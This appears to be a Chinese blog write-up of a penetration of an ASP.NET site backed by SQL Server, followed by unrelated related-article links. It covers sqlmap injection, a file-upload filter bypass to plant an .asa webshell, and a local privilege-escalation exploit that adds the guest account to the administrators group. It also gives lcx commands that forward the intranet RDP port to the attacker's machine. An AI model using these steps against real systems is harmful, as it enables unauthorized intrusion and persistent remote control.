提权案例(一)渗透某asp.net网站通过sql server数据库public 提权 思路分享
先罗列出sql server 角色用户的权限
按照从最低级别角色(bulkadmin)到最高级别角色(sysadmin)的顺序进行描述:
1.bulkadmin:这个角色可以运行BULK INSERT语句.该语句允许从文本文件中将数据导入到SQL Server2008数据库中,为需要执行大容量插入到数据库的域帐号而设计.
2.dbcreator:这个角色可以创建,更改,删除和还原任何数据库.不仅适合助理DBA角色,也可能适合开发人员角色.
3.diskadmin:这个角色用于管理磁盘文件,比如镜像数据库和添加备份设备.适合助理DBA
4.processadmin:SQL Server 2008可以同时多进程处理.这个角色可以结束进程(在SQL Server 2008中称为"删除")
5.public:有两大特点:第一,初始状态时没有权限;第二,所有数据库用户都是它的成员
6.securityadmin:这个角色将管理登录名及其属性.可以授权,拒绝和撤销服务器级/数据库级权限.可以重置登录名和密码
7.serveradmin:这个角色可以更改服务器范围的配置选项和关闭服务器
8.setupadmin:为需要管理联接服务器和控制启动的存储过程的用户而设计.
9.sysadmin:这个角色有权在SQL Server 2008 中执行任何操作.
第一步先找到了网站的新闻页通过aspx 后缀结尾 判断 基本信息 windows系统 ,数据库可能是mssql
尝试 id=1/0 报语法错误 410 /应用程序种的服务器错误.... 显而易见是mssql 数据库 并且存在sql注入
第二步 再去查他的ip以及网站信息 发现只是地方服务器 没有大厂商的云服务器判断不存在云waf (如果有ip被封了可以换代理ip) 可以直接上工具
第三步 直接sqlmap 跑出表和数据 角色权限public自定义的很低 继续信息收集
第四步 发现前台没什么可利用的信息 先写脚本爬虫 得到网站基本目录 和资源存放地址和一些规则 在上御剑扫描没什么有用信息
第五步 还可以利用强大的搜索引擎 利用google hack 语法 搜索试试 site: *.xxx.com 登录 成功搜索到后台地址
第六步 打开页面地址 通过和前台规则比对 确认是后台地址 输入sqlmap 获取用户名信息登录上去
第七步 寻找上传点找到select 选择框的上传功能 但发现只能上传db 文件 其他文件后缀会自动修改 认真整理他的逻辑 在进入上传点前一个一面
有url 请求 type=db 审查元素发现 select选择框 内 option 元素 <value=db> <value=txt> 由此可以确定他的逻辑 通过选择框来选择执行上面逻辑和确认上传格式文件 直接篡改 成asa (aspx被禁止了) 成功上传
第八步 发现上传成功没有回显无法确定路径和文件名 但是选择img type上传后回显 可以确定上传目录 通过图片命名格式 img201509246518.png 可以猜测命名规则 img 是类型 2015.. 是今天日期 后面可能是当前时间戳 我只需要确定后门的时间戳就行了 写个js脚本发送10次上传木马的请求 同时记录请求时间 通过第1次 时间 和第10次 时间 相减 得到 的时间区间 有十个马 通过遍历这个区间 成功得到相应的就是马的地址
第九步 打开大马查看组件 发现 cmd 和net 组件都被删了 探测后台进程有服务端的安全狗 通过大马上传net,cmd 组件到有执行权限的目录 比如当前的回收站 执行systeminfo 得到打的补丁数 只有4个 上传免杀pr 利用内存溢出直接提权 把来宾用户设置密码加入管理员组
第十步 输入 netatst -ano 发现80端口并不是原地址 有监听地址 通过查询发现他是个内网地址 可以确认通过外网把内网的80端口做了映射 上传lcx 做端口转发 本机执行 lcx -listen 3000 3388 监听 3000 映射到3388 端口 webshell 机子上执行 -slave 我的ip 3000 192.xxx (内网ip) 3389 转发到我的3000端口 本机打开远程连接 输入 127.0.0.1:3388 输入刚刚修改密码的来宾用户 连接webshell 的机子 完美控制 。
第十一步 清理痕迹退出 把漏洞提交到漏洞平台。
对此站渗透的思考
1.可以直接利用扫描工具 wvs appscan webinspect jsky 极光等
2. 对结果就行定向渗透测试
3.shell 方法 上传,包含,命令执行,备份。
4.提权先看打了什么补丁 在看安装的第三方应用 通过ms漏洞提权 和应用提权
5.在拥有webshell 情况下 利用lcx 端口转发突破内网限制
6.信息收集很重要
提权案例(一)渗透某asp.net网站通过sql server数据库public 提权 思路分享的更多相关文章
- PHP连接MSSQL数据库案例,PHPWAMP多个PHP版本连接SQL Server数据库
课前小知识普及:MSSQL和SQL Server是同一个软件,叫法不同而已,MSSQL全称是Microsoft SQL Server,MSSQL是简写,有些人则喜欢直接叫SQL Server,我就比较 ...
- 【转发】PHP连接MSSQL数据库案例,PHPWAMP多个PHP版本连接SQL Server数据库
转发自:http://blog.csdn.net/lccee/article/details/54289076 课前小知识普及:MSSQL和SQL Server是同一个软件,叫法不同而已,MSSQL全 ...
- 菜鸟级asp.net 与ms sql server数据库打交道的简单总结
using System.Data.SqlClient;using System.Data; 上面是必须的 下面说的都是用存储过程 首先是webconfig里面的连接字符串: <connecti ...
- ASP.NET Excel导入Sql Server数据库(转)
先看界面图 实现的基本思想: 1,先使用FileUpload控件fuload将Excel文件上传到服务器上得某一个文件夹. 2,使用OleDb将已经上传到服务器上的Excel文件读出来,这里将Exce ...
- .NET跨平台之旅:升级至ASP.NET 5 RC1,Linux上访问SQL Server数据库
今天微软正式发布了ASP.NET 5 RC1(详见Announcing ASP.NET 5 Release Candidate 1),.NET跨平台迈出了关键一步. 紧跟这次RC1的发布,我们成功地将 ...
- 如何用asp.net MVC框架、highChart库从sql server数据库获取数据动态生成柱状图
如何用asp.net MVC框架.highChart库从sql server数据库获取数据动态生成柱状图?效果大概是这样的,如图: 请问大侠这个这么实现呢?
- (火炬)MS SQL Server数据库案例教程
(火炬)MS SQL Server数据库案例教程 创建数据库: CREATE DATABASE TDB //数据库名称 ON ( NAME=TDB_dat,//逻辑文件名 在创建数据库完成之后语句中引 ...
- ASP.net(C#)利用SQL Server实现注册和登陆功能
说说我现在吧,楼主现在从事的事IT行业,主攻DotNet技术:当然这次上博客园我也是有备而来,所有再次奉献鄙人拙作,以飨诸位,望诸位不吝赐教. 世界上大多数的工作都是熟练性的工种,编程也不例外,做久了 ...
- ASP.NET Excel导入到SQL Server数据库
本文转自:http://www.cnblogs.com/lhking/archive/2009/06/08/1499002.html 提供把Excel里的数据导入到SQL Server 数据库,前提是 ...
随机推荐
- MOOC C++笔记(四):运算符重载
第四周:运算符重载 基本概念 运算符重载,就是对已有的运算符(C++中预定义的运算符)赋予多重的含义,使同一运算符作用于不同类型的数据时导致不同类型的行为. 运算符重载的目的是:扩展C++中提供的运算 ...
- 实例化Bean的几种方法
1.使用构造器实例化Bean. 当没有指定实例化方法时,Spring IoC容器能使用默认空构造器.构造器实例化包括默认空构造器和有参数构造器两种方式创建Bean. 2.使用构造器实例 ...
- jenkins自动化部署项目1--下载安装启动(linux)
前面是在windows上搭建jenkins环境,最近有同事要我帮忙在linux上搭建一套,因此在此记录下过程. 因为jenkins.msi只能在windows上运行安装,因此在linux上安装jenk ...
- js之捕捉冒泡和事件委托
以下为转载内容 一.事件流(捕获,冒泡) 事件流:指从页面中接收事件的顺序,有冒泡流和捕获流. 当页面中发生某种事件(比如鼠标点击,鼠标滑过等)时,毫无疑问子元素和父元素都会接收到该事件,可具体 ...
- 基于操作系统原理的Red Hat Linux的基本操作
一.实验目的 1.了解Linux操作系统的启动与登录方法. 2.掌握Red Hat Linux图形用户界面下的基本操作. 3.学会Red Hat Linux基本设置. 二.实验内容 1. 登录 2. ...
- .NET Core应用的三种部署方式
.NET Core应用提供了三种部署方式: FDD FDD:Framework-dependent deployment,框架依赖部署.这种方式针对某个特定版本的.NET Core进行发布,只打包应用 ...
- 站内搜索(ELK)之数据目录
在使用elasticsearch建设站内搜索时,随着数据不断丰富,为了数据管理更加精细化,必须建立并实时维护“数据目录”(在程序设计中对应的叫法“数据字典”). 数据目录需要包含以下几个维度:数据名称 ...
- JPA 已作废的SQLQuery.class、setResultTransformer方法替换
1.hibernate 5.2 之后,SQLQuery.class.setResultTransformer方法已作废,其用法如下: Query query = entityManager.creat ...
- .Net Core 商城微服务项目系列(十四):分布式部署携程Apollo构建配置中心
一.开场白 在系统设计里我们有很多配置希望独立于系统之外,而又能够被系统实时读取.但是在传统的系统设计里,配置信息通常是耦合在系统内的,比如.net里通常会放在App.config或者web.conf ...
- Shell之StdI/O和Pipe
目录 Shell之StdI/O和Pipe 参考 StdI/O重定向 Pipe 常用组合 Shell之StdI/O和Pipe